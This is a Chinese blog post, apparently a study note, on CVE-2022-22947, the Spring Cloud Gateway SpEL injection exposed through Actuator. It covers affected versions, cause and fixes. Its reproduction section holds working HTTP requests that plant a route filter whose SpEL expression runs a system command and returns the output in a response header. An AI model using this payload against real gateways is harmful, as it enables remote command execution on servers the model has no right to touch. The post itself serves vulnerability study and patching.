首页 > 其他分享 >Spring Cloud Gateway RCE

Spring Cloud Gateway RCE

时间:2023-04-28 23:56:09浏览次数:30  
标签:zh Spring Cloud actuator Gateway 路由

Spring Cloud Gateway RCE

目录

一、基本介绍

CVE编号:CVE-2022-22947

​Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

Spring Cloud Gateway:

是Spring Cloud微服务的一个网关组件。

1、路由(Route)

2、断言(Predicate)

3、过滤器(Filter)

Spring Boot Actuator:

是Spring Boot框架中的一个监控组件。

Gateway配置可以使用两种方式:

1、通过yml或者properties固定配置

2、通过actuator接口动态配置

Actuator操作Gateway接口列表:

id HTTP Method 描述
globalfilters GET 返回全局Filter列表
routefilters GET 每个路由的Filter
routes GET 路由列表
routes/[id] GET 指定路由的信息
routes/[id] POST 创建路由
refresh POST 刷新路由缓存
routes/[id] DELETE 删除路由

二、漏洞复现

版本要求:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

过程:

1、启动Spring Cloud Gateway服务

2、添加过滤器(POST)

POST /actuator/gateway/routes/hacker HTTP/1.1
Host: 192.168.142.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 331
Content-Type: application/json

{
  "id": "hacker",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

3、刷新过滤器(POST)

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.142.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

4、访问过滤器ID(GET)

http://192.168.142.133:8080/actuator/gateway/routes/hacker

Result中有命令执行返回的信息。

三、原理分析

1、开启Acutator,可以通过接口列出路由(包括过滤器),如:actuator/gateway/routes

2、可以通过/actuator/gateway/routes/{id}创建路由

3、通过/actuator/gateway/reflesh刷新路由

4、当路由带有恶意的Filter,里面的spEL表达式会被执行

个人理解:

Spring Cloud GatewayRCE漏洞主要是使用了Actuator接口对Gateway动态配置,而且Actuator接口可以被其他人访问,可以创建Gateway中的路由规则,攻击者对Filter中写入恶意spEL表达式,服务器会去解析spEL表达式,造成命令执行。

四、修复方法

1、更新升级Spring Cloud Gateway版本

2、在不考虑影响业务的情况下禁用actuator接口

management.endpoint.gateway.enable=false

标签:zh,Spring,Cloud,actuator,Gateway,路由
From: https://www.cnblogs.com/candada/p/17363409.html

相关文章

  • springboot 发送邮件
    @AutowiredprivateJavaMailSenderjavaMailSender;publicStringsendEmail(ToMailtoMail){SimpleMailMessagemessage=newSimpleMailMessage();message.setFrom("[email protected]");message.setTo("my_M......
  • Cloud集群模式XXL-job开启自动注册执行器
    在微服务架构下,传统的springtask、Quartz已经不再推荐使用,在数据与业务增长的同时,定时任务处理数据是避免不了的,抛开单节点不谈,集群服务如果想要执行以往的定时任务最简单粗暴的方式就是使用分布式锁来保证唯一性,但是由于不可控原因,可能在执行任务期间所以压力集中到其中一个节......
  • EHCache spring
    EHCachespring  import:importorg.springframework.cache.annotation.Cacheable;  注解(我放在service方法上,注意这个注解,如果用SPRING的Cacheable,就跟这一样;如果用GOOGLE的,这几个配置及import都得一致):@Cacheable(value="baseCache",key="'myid_'+#date")publicString......
  • Spring Boot经验
    Spring、SpringBoot经验本文记录作者在实际使用Spring或则SpringBoot过程中遇到比较好的案例或则经验,以供开发学习使用1.校验篇生产过程中前后端都会进行数据格式的校验,后端校验一般采用JSR303的校验模式1.1使用引入依赖<dependency><groupId>javax.validation<......
  • Spring Boot 和 Docker 实现微服务部署
    Springboot开发轻巧的微服务提供了便利,Docker的发展又极大的方便了微服务的部署。这篇文章介绍一下如果借助maven来快速的生成微服务的镜像以及快速启动服务。其实将SpringBoot项目用Docker部署也不是什么多么神秘的技术,也要先生成镜像,再用镜像启动容器,如果说有什么方便......
  • Spring Cloud 系列之 Eureka 实现服务注册与发现
    如果你对SpringCloud体系还不是很了解,可以先读一下SpringCloud都有哪些模块Eureka是Netflix开源的服务注册发现组件,服务发现可以说是微服务架构的核心功能了,微服务部署之后,一定要有服务注册和发现的能力,Eureka就是担任这个角色的。如果你用过dubbo的话,那一定知道dubbo......
  • Spring 实现自定义 bean 的扩展
    Springmvc提供了扩展xml的机制,用来编写自定义的xmlbean,例如dubbo框架,就利用这个机制实现了好多的dubbobean,比如 <dubbo:application>、<dubbo:registry> 等等,只要安装这个标准的扩展方式实现配置即可。扩展自定义bean的意义何在假设我们要使用一个开源框架或者一套......
  • 你一直在用的 Spring Boot Starters 究竟是怎么回事
    SpringBoot对比SpringMVC最大的优点就是使用简单,约定大于配置。不会像之前用SpringMVC的时候,时不时被xml配置文件搞的晕头转向,冷不防还因为xml配置上的一点疏忽,导致整个项目莫名其妙的不可用,顿感生活无所依恋,简称生无可恋。这要归功于组成了SpringBoot的各种各样的......
  • Spring AOP 和 动态代理技术
     AOP是什么东西首先来说AOP并不是Spring框架的核心技术之一,AOP全称AspectOrientProgramming,即面向切面的编程。其要解决的问题就是在不改变源代码的情况下,实现对逻辑功能的修改。常用的场景包括记录日志、异常处理、性能监控、安全控制(例如拦截器)等,总结起来就是,凡是想对......
  • vscode下搭建springboot
    安装两个扩展JavaExtensionforPackSpringBootExtensionPack配置mavenctrl+,搜索java.configuration.maven输入setting.xml的路径注意路径不能有中文或者空格创建springboot项目ctrl+shift+p创建项目,输入springbootInitializer即可。参考博客vscode配置ma......